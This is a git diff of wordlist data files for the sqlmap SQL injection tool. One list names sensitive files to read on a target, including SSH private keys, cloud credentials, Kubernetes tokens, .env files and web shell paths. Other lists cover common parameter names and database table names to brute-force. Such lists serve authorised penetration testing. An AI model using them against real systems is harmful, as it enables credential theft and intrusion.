+/root/.bash_history +/etc/named.conf +/proc/self/environ +/etc/php.ini +/bin/php.ini +/etc/httpd/php.ini +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/local/etc/php.ini +/usr/local/lib/php.ini +/usr/local/php/lib/php.ini +/usr/local/php4/lib/php.ini +/usr/local/php5/lib/php.ini +/usr/local/apache/conf/php.ini +/etc/php4.4/fcgi/php.ini +/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php5/apache2/php.ini +/etc/php/7.4/apache2/php.ini +/etc/php/php.ini +/usr/local/apache/conf/modsec.conf +/var/cpanel/cpanel.config +/proc/self/environ +/proc/self/fd/2 +/etc/ssh/sshd_config +/var/lib/mysql/my.cnf +/etc/mysql/my.cnf +/etc/my.cnf +/etc/logrotate.d/proftpd +/www/logs/proftpd.system.log +/var/log/proftpd +/etc/proftp.conf +/etc/protpd/proftpd.conf +/etc/vhcs2/proftpd/proftpd.conf +/etc/proftpd/modules.conf +/etc/vsftpd.chroot_list +/etc/vsftpd/vsftpd.conf +/etc/vsftpd.conf +/etc/chrootUsers +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/usr/sbin/pure-config.pl +/usr/etc/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.conf +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/pureftpd/etc/pureftpd.pdb +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/pureftpd/etc/pure-ftpd.conf +/etc/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pureftpd.pdb +/etc/pureftpd.passwd +/etc/pure-ftpd/pureftpd.pdb +/var/log/ftp-proxy +/etc/logrotate.d/ftp +/etc/ftpchroot +/etc/ftphosts +/etc/smbpasswd +/etc/smb.conf +/etc/samba/smb.conf +/etc/samba/samba.conf +/etc/samba/smb.conf.user +/etc/samba/smbpasswd +/etc/samba/smbusers +/var/lib/pgsql/data/postgresql.conf +/var/postgresql/db/postgresql.conf +/etc/ipfw.conf +/etc/firewall.rules +/etc/ipfw.rules +/usr/local/etc/webmin/miniserv.conf +/etc/webmin/miniserv.conf +/usr/local/etc/webmin/miniserv.users +/etc/webmin/miniserv.users +/etc/squirrelmail/config/config.php +/etc/squirrelmail/config.php +/etc/httpd/conf.d/squirrelmail.conf +/usr/share/squirrelmail/config/config.php +/private/etc/squirrelmail/config/config.php +/srv/www/htdos/squirrelmail/config/config.php + +# Web shells + +/var/www/html/backdoor.php +/var/www/html/b374k.php +/var/www/html/c99.php +/var/www/html/cmd.php +/var/www/html/r57.php +/var/www/html/shell.php +/var/www/html/wso.php + +# Misc + +/app/app.js +/app/configure.js +/app/config/config.json +/etc/grafana/grafana.ini +/opt/kibana/config/kibana.yml +/etc/kibana/kibana.yml +/etc/elasticsearch/elasticsearch.yml + +# Containers and orchestration secrets + +/.dockerenv +/proc/self/cgroup +/proc/1/cgroup +/run/secrets/kubernetes.io/serviceaccount/token +/var/run/secrets/kubernetes.io/serviceaccount/token +/run/secrets/kubernetes.io/serviceaccount/namespace +/var/run/secrets/kubernetes.io/serviceaccount/namespace +/run/secrets/kubernetes.io/serviceaccount/ca.crt + +# Cloud provider credentials + +/root/.aws/credentials +/root/.aws/config +/root/.config/gcloud/application_default_credentials.json +/root/.config/gcloud/credentials.db +/root/.azure/accessTokens.json +/root/.kube/config + +# SSH keys and DB/tool history + +/root/.ssh/authorized_keys +/root/.ssh/id_ed25519 +/root/.ssh/id_ecdsa +/root/.ssh/id_dsa +/root/.mysql_history +/root/.psql_history +/root/.rediscli_history +/root/.python_history +/root/.sqlite_history + +# dotenv, VCS and app config under common web roots + +/var/www/.env +/var/www/html/.env +/app/.env +/usr/share/nginx/html/.env +/var/www/html/.git/config +/var/www/html/.git/HEAD +/var/www/html/wp-config.php +/app/application.properties +/app/application.yml +/app/docker-compose.yml diff --git a/data/txt/common-params.txt b/data/txt/common-params.txt new file mode 100644 index 00000000000..81b7bc46329 --- /dev/null +++ b/data/txt/common-params.txt @@ -0,0 +1,243 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +id +page +q +query +search +s +keyword +keywords +name +username +user +uid +userid +email +mail +pass +password +pwd +token +key +apikey +api_key +access_token +auth +session +sid +sessionid +lang +language +locale +country +region +city +zip +sort +order +orderby +dir +direction +filter +category +cat +type +kind +class +group +tag +tags +status +state +action +act +cmd +command +op +operation +mode +method +func +function +callback +jsonp +format +output +view +tab +step +stage +debug +test +dev +admin +role +level +priv +file +filename +path +dir +folder +doc +document +url +uri +link +href +redirect +redirect_uri +return +returnurl +return_url +next +target +dest +destination +goto +continue +ref +referer +referrer +source +src +from +to +date +year +month +day +time +timestamp +start +end +begin +finish +limit +offset +count +num +number +size +length +width +height +amount +price +qty +quantity +value +val +data +input +content +text +msg +message +body +title +subject +description +desc +comment +note +code +hash +sig +signature +csrf +csrf_token +csrftoken +nonce +salt +enc +encrypt +decrypt +base64 +json +xml +raw +echo +reflect +show +hide +display +render +template +tpl +theme +skin +style +color +font +image +img +photo +avatar +icon +banner +video +audio +media +attachment +upload +download +export +import +backup +restore +sync +refresh +reload +reset +clear +flush +purge +enable +disable +active +enabled +visible +public +private +locked +verified +confirmed +approved +product +item +sku +model +brand +vendor +seller +store +shop +cart +basket +checkout +payment +invoice +receipt +transaction +account +profile +member +customer +client +company +organization +org +department +team +project +task +job +event +booking +reservation +appointment +schedule +calendar diff --git a/txt/common-tables.txt b/data/txt/common-tables.txt similarity index 82% rename from txt/common-tables.txt rename to data/txt/common-tables.txt index e9a488a2d8c..24e1f184bdd 100644 --- a/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1,5 +1,5 @@ -# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission users customer @@ -218,32 +218,23 @@ delivery_quality queries identification friends -vcd_Screenshots PERSON course_section -vcd_PornCategories -pma_history jiveRemoteServerConf channels object chip_layout -osc_products_options_values_to_products_options login user_newtalk -vcd_MetaDataTypes entrants Device imageInfo developers -div_experiment items_template defaults osc_products -vcd_MetaData mucRoomProp -QRTZ_JOB_DETAILS settings -pma_bookmark DEPENDENT imageCategoryList islandIn @@ -254,7 +245,6 @@ wp_posts package mucRoom vendortax -vcd_Comments attrs config_seq company @@ -262,18 +252,13 @@ register checksum_results ENROLLMENT operation -primarytest -vcd_CoverTypes binaries COURSE_SECTION Students func enrollment -pma_table_coords readers action_element -vcd_VcdToPornstars -osc_categories_description friend_statuses Domain servers @@ -284,33 +269,26 @@ resources mixins sys_options_cats licenses -pma_relation SIGNON clients Apply -vcd_CoversAllowedOnMediatypes ThumbnailKeyword form_definition_text -vcd_Log system jiveOffline tickers BANNERDATA mucAffiliation -fk_test_has_pk rooms objectcache collection_item_count -div_stock_parent jiveRoster Volume lookup investigator math jivePrivate -vcd_UserWishList osc_manufacturers_info -primarytest2 PROFILE categories_posts Flight @@ -322,64 +300,44 @@ client cv_country_synonyms osc_categories interwiki -logtest archive members_networks -vcd_MovieCategories language_text UserType friend -div_annotation_type osc_products_description osc_products_to_categories -QRTZ_PAUSED_TRIGGER_GRPS article recentchanges -vcd_UserLoans media -vcd_SourceSites conducts sales CurrentUsers Country -vcd_IMDB -vcd_Borrowers querycache Publication Pilot -div_stock Regions DEPT_LOCATIONS -vcd_Users master_table -vcd_VcdToUsers funny_jokes jos_vm_payment_method -vcd_UserProperties osc_products_images specialty -pma_pdf_pages visits -div_allele_assay -vcd_MediaTypes ipblocks WidgetPrices -form_definition_version_text experiment Publisher control protocol_action jivePrivacyList -vcd_VcdToPornStudios subImageInfo plugin_sid message_statuses state GalleryThumb hitcounter -vcd_Pornstars -QRTZ_BLOB_TRIGGERS -div_generation jiveGroupProp ingredients community_item_count @@ -387,13 +345,9 @@ jiveExtComponentConf SEQUENCE Continent rights -div_statistic_type Path osc_manufacturers logging -colnametests -QRTZ_FIRED_TRIGGERS -div_locality sailors Description warehouse @@ -406,54 +360,41 @@ CUSTOMERS jiveProperty app_user keyboards -div_unit_of_measure categorylinks grants Action -div_trait -div_trait_uom WidgetReferences product_type developers_projects userAttribute -vcd_Sessions form_data_archive -vcd_PornStudios action_attribute Thumbnail jiveGroupUser computers -QRTZ_LOCKS -vcd_PropertiesToUser customertax sector networks columns_priv globals -div_obs_unit_sample Widgets TERM salgrade -div_passport -vcd_UserRoles mucMember imagelinks exchange Status WORKS_ON lines -booleantests -QRTZ_SIMPLE_TRIGGERS +testusers mobile_menu staff -vcd_VcdToPornCategories tblusers hashes partner Product personnel ads -vcd_Covers osc_specials Keyword supplier @@ -461,61 +402,45 @@ agent_specialty pokes profile_pictures oldimage -div_poly_type -osc_products_attributes_download -div_allele isMember -vcd_Images userImageRating detail_table osc_products_attributes -pma_table_info officer -div_obs_unit -vcd_Settings COURSE Time locatedOn medicalprocedure -fk_test_has_fk mergesWith author UserFieldsInfo Employee oe -QRTZ_TRIGGERS insurance SUPPLIER -div_aa_annotation song imageAttribute views_track extremes -vcd_VcdToSources jiveRosterGroups webcal_config phpbb_ranks triggers_template appVersions -vcd_RssFeeds DUMMY ROLE activity study_text osc_products_options City -QRTZ_SCHEDULER_STATE osc_reviews edge questions partof blobs -QRTZ_CRON_TRIGGERS tag userSession vcd -pma_column_info -auto_id_tests job site_stats mucConversationLog @@ -523,16 +448,12 @@ sequence madewith OperationStatus SPJ -turizmi_ge zutat_cocktail -DWE_Internal_WF_Attributes zipcodes insertids ChemList product_category -foreigntest2 hero -cmContentVersionDigitalAsset reports devel_logsql f_sequence @@ -541,7 +462,6 @@ ClassificationScheme ez_webstats_conf credential utilise -cmDigitalAsset ACL_table service_request_log feedback @@ -568,29 +488,21 @@ dtb_order files_config PropColumnMap result -pma_designer_coords triggers audittrail -f_attributedependencies -organization_type_package_map -DWE_Corr_Sets userlist backgroundJob_table sf_guard_user_permission my_lake -DWE_Corr_Tokens sampleData -qrtz_blob_triggers reciprocal_partnersites rss_categories ADMIN -site_map_ge Factory_Output geo_Estuary phpbb_themes forum ClientsTable -mushroom_trainset rating_track iplinks maxcodevento @@ -601,7 +513,6 @@ cmLanguage phpbb_points_config guava_sysmodules querycachetwo -soc_da_polit_ge BOOK_AUTHORS records reciprocal_config @@ -630,7 +541,6 @@ expression Simple_Response photoo photos -child_config_traffic_selector version_data allocation dtb_category_total_count @@ -646,7 +556,6 @@ webcal_view pagecontent Collection maxcodcurso -self_government_ge phpbb_user_group InstanceStringTable bldg_types @@ -655,10 +564,8 @@ mailaddresses section m_type configlist -cmRepositoryContentTypeDefinition trade Parameter -jforum_privmsgs tbl_works_categories help_category bkp_String @@ -673,11 +580,9 @@ vendor_seq guava_theme_modules dtb_pagelayout bookings -cmPublicationDetail writes writer distance -DWE_Resource_Attributes jforum_groups Polynomial river @@ -698,23 +603,14 @@ SchemaInfo WidgetDescriptions dtb_category_count sidebar -R1Weights -humanitaruli_ge -cmTransactionHistory facets jforum_roles -samedicino_ge -qrtz_job_listeners geo_Lake religion nuke_gallery_media_class cia DatabaseInfo -R2TF THOT_THEME -R1Length -cmContentRelation -S2ODTMAP enrolled liste_domaines DEMO_PROJECTS @@ -737,7 +633,6 @@ UM_ROLE_ATTRIBUTES SCALE maclinks books -DWE_Predecessors interactions graphs_items stars @@ -756,7 +651,6 @@ email CustomerCards mtb_zip Campus -R1Size hardware dtb_other_deliv pricegroup @@ -770,15 +664,10 @@ colour command audio egresado -aggtest transport -zusti_da_sabuneb_ge -div_scoring_tech_type -R2Weights schedule routers zips -DWE_Delay_Timers Descriptions software wh_der_children @@ -805,7 +694,6 @@ cmSiteNode nodes sbreciprocal_cats rss_read -DWE_Workflow_Documents bombing tblblogtrackbacks fragment @@ -822,7 +710,6 @@ dtb_kiyaku EmailAddress Sea powers -QRTZ_CALENDARS reserve LINEITEM project_user_xref @@ -834,7 +721,6 @@ user_rights tf_messages Class_Def_Table geo_lake -copytest tissue ligneDeFacture PZ_Data @@ -844,7 +730,6 @@ cmts photo dtb_bloc user_preferences -music_ge D_Abbreviation data_set_association site_location @@ -859,7 +744,6 @@ evidence files test intUsers -div_treatment tblblogentries cocktail_person cdv_curated_allele @@ -870,18 +754,15 @@ MetadataValue curso redirect accountuser -qrtz_cron_triggers StateType forum_user_stat Descriptions_Languages m_users_profile Booked_On -not_null_with_default_test tblblogroles organizations topic economy -DWE_Org_Resources Model maxcodcorreo RATING @@ -899,7 +780,6 @@ dtb_send_customer cart size pg_ts_cfgmap -LimitTest2 QUESTION DC_Data webcal_group_user @@ -912,7 +792,6 @@ document m_users_acct vendor_types fruit -DWE_Resources Service PART cell_line @@ -929,21 +808,17 @@ statuses webcal_user customurl THOT_YEAR -DWE_Subscriptions correo -kultura_ge Factory_Master inv_lines_seq certificates webcal_asst ostypes POINT_SET -R2IDF forum_flag bugs taxonomy UM_ROLES -div_synonym payer tf_log job_title @@ -952,7 +827,6 @@ wp_options forum_user_activity trackbacks wp_pod_fields -cmAvailableServiceBindingSiteNodeTypeDefinition translation cdv_passport_group User_ @@ -962,31 +836,24 @@ my_county zoph_people account_permissions ORDERLINES -ganatlebe_ge wp_term_relationships pictures product_font Departure -mushroom_test_results routerbenchmarks bkp_Item Channel_Data realtable -mushroom_NBC_class odetails user_type_link -eco_da_biz_ge belong ezin_users time_zone_transition ew_tabelle ezsearch_return_count_new -cmSystemUserRole m_users -div_accession_collecting Economy tbl_works_clients -qrtz_locks geo_Mountain dtb_category tmp @@ -995,10 +862,7 @@ geo_Desert dtb_payment forum_topic ezsearch_search_phrase_new -jforum_attach -sazog_urtiertoba_ge Equipment -iuridiuli_ge MetadataSchemaRegistry basePlusCommissionEmployees addresses @@ -1029,7 +893,6 @@ SpecificationLink videos sf_guard_remember_key employer -monitoringi_ge leases phpbb_smilies stats @@ -1040,32 +903,25 @@ line_items_seq ndb_binlog_index zoph_categories help_topic -div_treatment_uom transaction wp_links -DWE_Organizations -live_ge cdv_allele_curated_allele timeperiod item_master_seq GLI_profiles cv_countries -qrtz_scheduler_state journal tf_users mwuser stories dtb_table_comment -jforum_quota_limit Lake SQLDATES phpbb_search_wordmatch friend2 functions comboboxes -DWE_Max_Id std_item -foreigntest jiveVersion sf_guard_group Classification @@ -1082,13 +938,10 @@ webcal_entry_repeats room domain_info SALES -DWE_Tasks profession1 SUPPORT_INCIDENTS PERMISSION Defect -DWE_Task_Attributes -grandchild_test Desert KARTA UM_ROLE_PERMISSIONS @@ -1098,23 +951,19 @@ guava_themes alltypes webcal_view_user vrls_xref_country -R1TF subject continent D_Format dtb_recommend_products Linkdesc_table -qrtz_fired_triggers TelephoneNumber dtb_customer_mail_temp copyrights -jforum_extension_groups DEMO_ASSIGNMENTS guava_group_assignments jforum_extensions zutat ew_user -duptest alerts partsvendor jiveGroup @@ -1134,7 +983,6 @@ tblblogentriesrelated guava_packages GRouteDetail cdv_reason -nulltest membership bkp_RS_Servers vrls_listing_images @@ -1144,7 +992,6 @@ group ClassificationNode dtb_best_products cv_cropping_system -DWE_Workflows egresadoxidiomaxhabilidad locus_data dtb_order_temp @@ -1166,14 +1013,12 @@ dtb_csv_sql synchro_type langlinks genres_in_movies -qrtz_triggers Province answerOption wp_postmeta ERDESIGNER_VERSION_ID calendar cmEvent -ruletest forum_user SalesReps ew_gruppi @@ -1204,9 +1049,7 @@ genres field vertex FoundThumbs -qrtz_trigger_listeners reciprocal_links -DWE_Meta_Data Course idiomaxegresado ordreReparation @@ -1234,16 +1077,13 @@ Language mountain ad_locales ExtrinsicObject -R2Size geo_island derived_types snipe_gallery_cat -qrtz_job_details guava_roleviews production_wtype AccountXML1 wh_man_children -not_null_test product_colour_multi ike_configs intUseringroup @@ -1273,7 +1113,6 @@ PREFIX_order_return_state experimental_data_set DOCUMENT_FIELDS Scripts -mushroom_dataset desert Can_Fly synchro_element @@ -1283,7 +1122,6 @@ tblblogpages f_attributedefinition intGroups way_nodes -child_test THOT_TARGET MOMENT dtb_classcategory @@ -1294,7 +1132,6 @@ dtb_deliv webcal_categories Parts invoices -QRTZ_JOB_LISTENERS ANSWER tbl_categories yearend @@ -1315,7 +1152,6 @@ nuke_gallery_categories areas cmContentVersion checksum_history -mushroom_test_results_agg accessTable cameFromTable services_links @@ -1327,17 +1163,13 @@ adv lake tests Offices -qrtz_simple_triggers Editor -sazog_urtiertoba_ge2 wp_pod_pages Extlangs seq_gen rss_subscription Station_Comment -R1IDF jforum_config -cmServiceDefinitionAvailableServiceBinding geo_River facilities connectorlinks @@ -1351,25 +1183,20 @@ FORM_QUESTION history_str f_classtype endpoints -R2Length zoph_albums bkp_ItemPresentation tblblogcategories -div_taxonomy traffic_selectors FORM -qrtz_paused_trigger_grps creditcards people_reg country_partner jforum_users -array_test dtb_mail_history priorities relations combustiblebois slow_log -DWE_Resource_Roles WROTE flow pay_melodies @@ -1378,7 +1205,6 @@ variable_interest dtb_class ZENTRACK_VARFIELD catalogue -uplebata_dacva_ge wp_usermeta time_zone games @@ -1398,7 +1224,6 @@ cmContentTypeDefinition radacct peer_config_child_config cmAvailableServiceBinding -cmSiteNodeVersion Poles_Zeros ipmacassocs m_news @@ -1411,22 +1236,18 @@ ipassocs cmSystemUser phpbb_categories FoundLists -jforum_smilies channelitems lokal subcategory Languages jiveSASLAuthorized -DWE_WF_Attributes cocktail cust_order -mushroom_testset THOT_SOURCE product_font_multi presence UM_USERS jiveUser -cmSiteNodeTypeDefinition wp_comments dtb_bat_order_daily_hour jos_vm_category @@ -1437,8 +1258,6 @@ geo_river MonitorStatus pagelinks ways -DWE_Roles -jforum_vote_desc cities PREFIX_order_return_state_lang subscriber @@ -1458,14 +1277,12 @@ production_multiple page_log_exclusion furniture nuke_gallery_pictures -cmRepositoryLanguage oc os PREFIX_tab_lang lc_fields framework_email datasets -sporti_ge externallinks geo_desert politics @@ -1477,7 +1294,6 @@ m_with program combustible ezin_articles -pma_tracking help_keyword POSITION stars_in_movies @@ -1487,12 +1303,10 @@ dtb_mailtemplate DIM_TYPE cart_table D_Unit -array_probe macassocs changeTva UM_PERMISSIONS geo_Source -R1Sum cdv_marker nuke_gallery_template_types UM_USER_ATTRIBUTES @@ -1513,7 +1327,6 @@ transcache dtb_question_result rss_category profiling -QRTZ_TRIGGER_LISTENERS THOT_LANGUAGE cmContent Descriptions_Scripts @@ -1535,7 +1348,6 @@ po_seq salariedEmployees grp jforum_topics -defertest array_data most_recent_checksum m_earnings @@ -1543,13 +1355,10 @@ product_related dtb_baseinfo webcal_import_data federationApplicants -qrtz_calendars melodies jforum_forums sf_guard_group_permission sys_acl_matrix -R2ODTMAP -mushroom_NBC country_diseases dtb_order_detail sic @@ -1570,11 +1379,8 @@ jforum_categories site_climatic phpbb_points_values zoph_color_schemes -DWE_Internal_Task_Attributes -uniquetest TypeRule dtb_customer -R2Sum PREFIX_customer_group ProjectsTable dtb_products @@ -1583,13 +1389,11 @@ dtb_question UM_USER_PERMISSIONS exam commande -viktorina_ge dtb_products_class subscribe page_restrictions querycache_info cdv_map_feature -oidtest Link_table guava_users connectormacassocs @@ -1615,8 +1419,12 @@ SPACE geo_Sea DATA_ORG Contributor +wallet +balance +flag # Various Joomla tables + jos_vm_product_download jos_vm_coupons jos_vm_product_reviews @@ -1642,9 +1450,6 @@ jos_vm_zone_shipping jos_bannertrack jos_vm_order_status jos_modules_menu -jos_vm_product_type -jos_vm_product_type_parameter -jos_vm_tax_rate jos_core_log_items jos_modules jos_users @@ -1710,6 +1515,7 @@ publicusers cmsusers # List provided by Anastasios Monachos (anastasiosm@gmail.com) + blacklist cost moves @@ -1761,6 +1567,7 @@ TBLCORPUSERS TBLCORPORATEUSERS # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) + tbladmins sort _wfspro_admin @@ -1820,6 +1627,7 @@ jos_comprofiler_members jos_joomblog_users jos_moschat_users knews_lostpass +korisnik korisnici kpro_adminlogs kpro_user @@ -1964,7 +1772,6 @@ JamPass MyTicketek MyTicketekArchive News -Passwords by usage count PerfPassword PerfPasswordAllSelected Promotion @@ -1988,12 +1795,10 @@ sysconstraints syssegments tblRestrictedPasswords tblRestrictedShows -Ticket System Acc Numbers TimeDiff Titles ToPacmail1 ToPacmail2 -Total Members UserPreferences uvw_Category uvw_Pref @@ -2002,7 +1807,6 @@ Venue venues VenuesNew X_3945 -stone list tblArtistCategory tblArtists tblConfigs @@ -2038,7 +1842,6 @@ bulletin cc_info login_name admuserinfo -userlistuser_list SiteLogin Site_Login UserAdmin @@ -2047,6 +1850,7 @@ Login Logins # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html + account accnts accnt @@ -2116,6 +1920,7 @@ user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) + wsop Admin Config @@ -2208,6 +2013,7 @@ admin_pwd admin_pass adminpassword admin_password +admin_passwords usrpass usr_pass pass @@ -2258,7 +2064,6 @@ upload uploads file akhbar -sb_host_admin Firma contenu Kontakt @@ -2319,8 +2124,6 @@ pw pwd1 jhu webapps -ASP -Microsoft sing singup singin @@ -2340,11 +2143,6 @@ systime Tisch Tabellen Titel -u -u_n -u_name -u_p -u_pass Benutzer user_pw Benutzerliste @@ -2355,7 +2153,6 @@ Benutzername Benutzernamen vip Webbenutzer -sb_host_adminActiveDataFeed Kategorie Land Suchoptionen @@ -2366,7 +2163,6 @@ Umfrage TotalMembers Veranstaltungsort Veranstaltungsorte -Ansicht1 utilisateur trier compte @@ -2412,33 +2208,13 @@ Sujets Sondage Titres Lieux -Affichage1Affichage1edu -win -pc -windows -mac -edu -bayviewpath -bayview server -slserver -ColdFusion8 -ColdFusion -Cold -Fusion8 -Fusion ststaff -sb_host_adminAffichage1 -Affichage1 yhm yhmm -Affichage1name -sb_host_adminAffichage1name - -# site:jp -TypesTab # site:it + utenti categorie attivita @@ -2446,140 +2222,66 @@ comuni discipline Clienti gws_news -SGA_XPLAN_TPL_V$SQL_PLAN emu_services nlconfig -oil_bfsurvey_pro -oil_users -oil_menu_types -oil_polls Accounts -oil_core_log_searches -SGA_XPLAN_TPL_V$SQL_PLAN_SALL -oil_phocadownload_categories gws_page -oil_bfsurveypro_choices -oil_poll_data -oil_poll_date argomento -oil_modules ruolo -oil_contact_details emu_profiles user_connection -oil_poll_menu jos_jf_tableinfo -oil_templates_menu -oil_messages_cfg -oil_biolmed_entity_types -oil_phocagallery_votes -oil_core_acl_aro regioni -oil_modules_menu dati gws_admin -oil_phocagallery_user_category articoli -oil_content_frontpage cron_send -oil_biolmed_measures comune -SGA_XPLAN_TPL_DBA_TABLES esame -oil_session -oil_phocadownload_licenses -oil_weblinks -oil_messages -oil_phocagallery_votes_statistics dcerpcbinds -oil_jf_content -SGA_XPLAN_TPL_DBA_CONS_COLUMNS -SGA_XPLAN_TPL_DBA_IND_COLUMNS gruppi Articoli gws_banner gws_category soraldo_ele_tipo db_version -SGA_XPLAN_TPL_DBA_TAB_COLS -oil_biolmed_thesis jos_languages mlmail -SGA_XPLAN_TPL_V$SQLTEXT_NL -oil_bannertrack -oil_core_log_items -oil_rokversions -oil_bfsurveypro_34 -oil_bfsurveypro_35 -oil_google_destinations gws_product -oil_jf_tableinfo -oil_phocadownload -oil_biolmed_blocks -oil_bfsurvey_pro_example -oil_bfsurvey_pro_categories -oil_bannerclient -oil_core_acl_aro_sections -SGA_XPLAN_TPL_V$SQL -oil_biolmed_land connections not_sent_mails -sga_xplan_test -oil_languages utente documento gws_purchase -oil_plugins -oil_phocagallery -oil_menu -oil_biolmed_measures_by_entity_types offers anagrafica gws_text -oil_groups -oil_content_rating sent_mails -oil_banner -oil_google gws_jobs eventi mlattach -oil_migration_backlinks -oil_phocagallery_categories downloads mlgroup -oil_sections decodifica_tabelle -oil_phocagallery_img_votes -oil_phocagallery_img_votes_statistics -oil_dbcache -oil_content p0fs -oil_biolmed_entity -oil_rokdownloads -oil_core_acl_groups_aro_map gws_client decodifica_campi -oil_phocagallery_comments -oil_categories -oil_newsfeeds -oil_biolmed_measurements -oil_phocadownload_user_stat -oil_core_acl_aro_groups -SGA_XPLAN_TPL_V$SQL_PLAN_STAT -oil_core_acl_aro_map dcerpcrequests -oil_phocadownload_sections -oil_components discipline_utenti jos_jf_content -oil_phocadownload_settings -SGA_XPLAN_TPL_DBA_CONSTRAINTS -oil_biolmed_technician -oil_stats_agents -SGA_XPLAN_TPL_DBA_INDEXES # site:fr + +facture +factures +devis +commande +bon_commande +bon_livraison +fournisseur +panier +paiement +reglement Avion departement Compagnie @@ -2750,137 +2452,57 @@ spip_ortho_dico spip_caches # site:ru + +spravochnik +nomenklatura +dokument +zakaz +ostatki +kontragenty +klient +uslugi +provodki +obrabotka +sklad +zhurnal guestbook -binn_forum_settings -binn_forms_templ -binn_catprops currency -binn_imagelib -binn_news phpshop_opros_categories -binn_articles_messages -binn_cache -binn_bann_temps -binn_forum_threads voting -binn_update terms -binn_site_users_rights -binn_vote_options -binn_texts -binn_forum_temps -binn_order_temps -binn_basket -binn_order -binn_system_log -binn_vote_results -binn_articles phpshop_categories -binn_maillist_temps -binn_system_messages -binn_articles_temps -binn_search_temps banners -binn_imagelib_templ -binn_faq -binn_bann phpshop_news -binn_menu_templ -binn_maillist_settings -binn_docs_temps -binn_bann_restricted phpshop_system -binn_calendar_temps -binn_forum_posts -binn_cform_settings phpshop_baners phpshop_menu -binn_forms_fields -binn_cform_list -binn_vote phpshop_links mapdata -binn_submit_timeout -binn_forum_themes_temps -binn_order_elems -binn_templates -binn_cform -binn_catalog_template -binn_ct_templ_elems -binn_template_elems -binn_rubrikator_tlevel -binn_settings -binn_pages -binn_users -binn_categs -binn_page_elems -binn_site_users_temps -binn_vote_temps -binn_rubrikator_temps -binn_faq_temps -binn_sprav setup_ -binn_basket_templ -binn_forum_maillist -binn_news_temps phpshop_users -binn_catlinks -binn_sprav_temps -binn_maillist_sent -binn_forms_templ_elems jubjub_errors -binn_maillist -binn_catrights -binn_docs -binn_bann_pages -binn_ct_templ -binn_menu -binn_user_rights -binn_cform_textarea -binn_catalog_fields vykachka -binn_menu_tlevel phpshop_opros -binn_form39 -binn_site_users -binn_path_temps order_item # site:de + tt_content kunde medien Mitarbeiter fe_users -dwp_wetter -dwp_popup voraussetzen -dwp_foto_pictures -dwp_karte_speisen -dwp_news_kat -dwp_structur -dwp_foto_album -dwp_karte_kat bestellung -dwp_content be_users Vorlesungen -dwp_content_pic -dwp_link_entries -dwp_ecard_album persons -dwp_buchung_hotel -dwp_link_kat -dwp_news_absatz Assistenten Professoren Studenten -dwp_ecard_pictures lieferant -dwp_bewertung mitarbeiter gruppe -dwp_news_head wp_post2cat phpbb_forum_prune crops @@ -2910,7 +2532,6 @@ shop_settings tutorial motd_coding artikel_variationsgruppen -dwp_kontakt papers gesuche zahlung_weitere @@ -3009,6 +2630,7 @@ wp_categories chessmessages # site:br + endereco pessoa usuarios @@ -3171,6 +2793,7 @@ LT_CUSTOM2 LT_CUSTOM3 # site:es + jos_respuestas DEPARTAMENTO EMPLEADO @@ -3207,30 +2830,44 @@ nuke_gallery_pictures_newpicture Books grupo facturas +aclaraciones +preguntas +personas +estadisticas # site:cn + +yonghu +dingdan +shangpin +zhanghu +jiaoyi +zhifu +rizhi +quanxian +juese +caidan +xinxi +shuju +guanliyuan +xitong +peizhi +canshu +zidian url -cdb_adminactions BlockInfo -cdb_attachtypes cdb_attachments -mymps_lifebox cdb_buddys -mymps_payapi LastDate cdb_medals -mymps_payrecord cdb_forumlinks cdb_adminnotes cdb_admingroups -cdb_creditslog stkWeight -mymps_checkanswer cdb_announcements cdb_bbcodes cdb_advertisements cdb_memberfields -mymps_telephone cdb_forums cdb_forumfields cdb_favorites @@ -3258,31 +2895,22 @@ cdb_pluginvars pw_smiles cdb_modworks ncat -mymps_member_tpl pw_threads zl_admin cdb_onlinetime cdb_mythreads cdb_members spt_datatype_info -mymps_certification -mymps_badwords seentype -mymps_cache zl_article spt_datatype_info_ext cdb_debateposts -mymps_corp -mymps_member_album mgbliuyan pw_schcache zl_finance pw_banuser -mymps_news cdb_pluginhooks -mymps_member_docutype wp1_categories -cdb_magicmarket MSmerge_errorlineage cdb_activities zl_baoming @@ -3294,18 +2922,15 @@ cdb_itempool phpcms_announce pw_actions pw_msg -mymps_news_img cdb_debates cdb_magiclog pw_forums -mymps_channel cdb_polls t_stat pw_attachs cdb_plugins pw_membercredit cdb_posts -mymps_member_category cdb_activityapplies zl_media acctmanager @@ -3313,18 +2938,12 @@ pw_usergroups cdb_faqs cdb_onlinelist pw_hack -mymps_member_comment Market -mymps_config -mymps_mail_template -mymps_advertisement MSrepl_identity_range pw_favors -mymps_crons pw_config pw_credits cdb_failedlogins -mymps_member_docu pw_posts cdb_attachpaymentlog cdb_myposts @@ -3332,7 +2951,6 @@ cdb_polloptions wp1_comments cdb_caches pw_members -mymps_upload spt_provider_types pw_sharelinks pw_tmsgs @@ -3343,17 +2961,237 @@ aliasregex userfiles acctmanager2 cdb_pmsearchindex -mymps_news_focus cdb_forumrecommend publishers zl_advertisement guanggaotp pw_memberinfo aliastype -mymps_mail_sendlist -mymps_navurl + +# site:tr + +kullanici +kullanicilar +yonetici +yoneticiler +adres +adresler +yayincilar +yayinci +urun +urunler +kategori +kategoriler +ulke +ulkeler +siparis +siparisler +bayi +bayiler +stok +reklam +reklamlar +site +siteler +sayfa +sayfalar +icerik +icerikler +yazi +yazilar +genel +istatistik +istatistikler +duyuru +duyurular +haber +haberler +komisyon +ucret +ucretler +bilgi 